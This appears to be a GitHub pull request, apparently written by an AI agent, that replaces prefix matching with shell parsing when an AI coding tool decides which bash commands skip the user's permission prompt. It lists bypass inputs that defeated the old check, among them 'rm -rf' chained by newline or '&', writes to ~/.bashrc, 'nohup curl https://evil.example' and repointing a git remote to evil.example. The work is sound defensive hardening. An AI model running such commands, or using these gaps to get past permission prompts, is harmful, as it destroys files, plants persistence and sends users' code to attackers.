fix(bash): decide auto-approval from the parsed command, not its prefix - #3426
fix(bash): decide auto-approval from the parsed command, not its prefix#3426joestump-agent wants to merge 3 commits into
Conversation
The bash tool skipped the permission prompt for a "safe read-only"
command by testing strings.HasPrefix against a list of command names,
guarded by a scan for the chaining metacharacters ; | && $( and `.
Text matching cannot see what the command actually does. The guard has
no notion of a newline, a bare &, a redirection, or a process
substitution, and prefix matching cannot tell a command from one that
merely starts with the same letters. Every one of these skipped the
prompt entirely:
echo hi\nrm -rf /tmp/pwned
echo pwned > ~/.bashrc
echo hi & rm -rf /tmp/pwned
ls <(rm -rf /tmp/pwned)
env rm -rf /tmp/pwned
nohup curl https://evil.example
git branch -D main
git tag -d v1.0.0
git remote set-url origin https://evil.example/x.git
Parse the command with syntax.Parser and approve only what is provably
inert. Every statement must be a plain call with no redirection, no
backgrounding, no assignment, and fully literal words — a command
substitution or parameter expansion is rejected rather than evaluated,
so `ls $(rm -rf /)` is never mistaken for an `ls`. Anything unrecognized
fails closed, which costs a permission prompt and nothing more.
The safe list is rebuilt on that footing. Entries now match a token
sequence instead of a string prefix, and carry a flag policy, so
`git branch` and `git branch --list` still auto-approve while
`git branch -D` does not. Command wrappers (env, nohup, nice, timeout)
are peeled and the command inside is checked on its own merits:
`nohup ls` auto-approves, `nohup curl` does not. `time` gets the same
treatment via its keyword node.
Dropped from the list: kill and killall (signal arbitrary processes),
set and unset (mutate shell state), git ls-remote and Windows
nslookup/ping (reach the network).
This adds prompts where there were none before, which is the point.
Refs charmbracelet#3425
Express the character rule positively — a name is letters, digits and underscores and cannot lead with a digit — instead of negating a conjunction, which staticcheck flags as a De Morgan simplification.
Rebuilding the safe list cost three read-only forms their auto-approval: `git branch --contains <commit>`, `git tag --points-at <ref>` and `git remote show|get-url <name>`. All three carry an operand, and the branch/tag entries reject operands so that `git branch <name>` and `git tag <name>` — which create — keep prompting. Add operand-taking entries gated on requireFlag, the same mechanism `git config --get` already uses: a filter flag must be present, which is exactly what distinguishes listing from creating. git itself rejects mixing a filter flag with branch creation, so the pair cannot combine into a mutation. The read-only remote subcommands are spelled out so add/remove/rename/set-url/prune stay off.
|
Full behavior delta for this PR, in both directions, with the reasoning on each. I generated this by running the old prefix matcher and the new one side by side over the same inputs rather than reasoning about it, so it should be exhaustive for the cases below. Also pushed two follow-ups since opening: Commands that used to prompt and now don'tTwo, both the same root cause:
Nothing else got more permissive. Commands that used to work and now promptIntended — these are the bug. Each skipped the prompt entirely before:
Deliberate policy calls — these were genuinely usable before and now cost a prompt:
Conservatism cost — the one category I'd call a genuine regression rather than a fix:
Regressions I fixed rather than shipped (
|
Posted by
@joestump-agentat@joestump's direction. Fixes #3425.What & why
The bash tool decides whether to skip the permission prompt by testing
strings.HasPrefixagainst a list of command names, guarded by a scan for the chaining metacharacters;|&&$(`.Text matching can't see what a command actually does. The guard has no notion of a newline, a bare
&, a redirection, or a process substitution, and prefix matching can't distinguish a command from one that merely starts with the same letters. All of these skip the prompt entirely on currentmain:That last one is the one that made me stop and write this up: it silently repoints the remote, and the user's next
git pushsends their code somewhere else. No prompt.Context for how this came up: @meowgorithm asked on #3375 how the bash tool parses shell code to match commands. The answer for the block list is "properly" — it's
interp.ExecHandlermiddleware and sees post-expansion argv. The answer for this path was "it doesn't."Approach
Parse with
syntax.Parserand auto-approve only what is provably inert.ls $(rm -rf /)is never mistaken for anls.{"git","status"}matchesgit statusand notgit status-something, and notgit -c core.pager=sh statuseither, since that argv starts with different tokens.Two things fall out of doing it on the AST that are worth calling out:
Flag policy per entry.
git branchandgit branch --liststill auto-approve;git branch -Ddoesn't.git config --get xreads and auto-approves;git config x ywrites and doesn't.git diffauto-approves butgit diff --ext-diff(runs an external diff driver) and--output=(writes a file) don't.Wrapper peeling.
env,nohup,niceandtimeoutexecute whatever they're handed, so auto-approving them auto-approves anything. They're now peeled and the inner command is checked on its own merits:nohup ls -laauto-approves,nohup curl evil.shprompts. Unwrapping is depth-bounded.timegets the same treatment through its keyword node.Behavior changes
This adds prompts where there were none. That's the point, but it's worth listing:
git branch -D,git tag -d,git remote add|set-url,git config <key> <value>now prompt.killandkillall(signal arbitrary processes),setandunset(mutate shell state) are off the list.git ls-remote, andnslookup/pingon Windows, are off the list — they reach the network, which sits badly beside a block list that banscurl/wget.echo $HOMEnow prompts. Parameter expansion isn't resolved here, so it can't be shown to be inert. Conservative, but I'd rather fail closed than model expansion.One thing got less restrictive: a sequence of individually-safe statements (
ls; pwd, or the same on two lines) auto-approves, since a sequence of read-only commands is read-only. Previously;was rejected while a newline was — wrongly — accepted.echostays on the list only because redirections are now rejected outright; with a redirect it's an arbitrary file write. There's a comment on the entry saying so, since that's an easy thing to undo by accident.Testing
internal/agent/tools/safe_test.gocovers the allowed forms, every bypass listed above, the fail-closed cases (substitutions, subshells, loops, functions, heredocs, parse errors), wrapper peeling including depth-bounding, and theenv -S/env -iedge cases.go vetclean on Linux and Windows.Scope
Deliberately separate from #3375 so that one stays a small config change. Independent of it — both touch
bash.go, so whichever lands second may need a trivial rebase, happy to do that.The block-list side of #3425 (wrapper peeling for
CommandsBlocker) isn't here;/usr/bin/curlbasename normalization went into #3375, and the rest is lower priority since those paths still hit the normal prompt.💘 Generated with Crush
Assisted-by: Claude Opus 5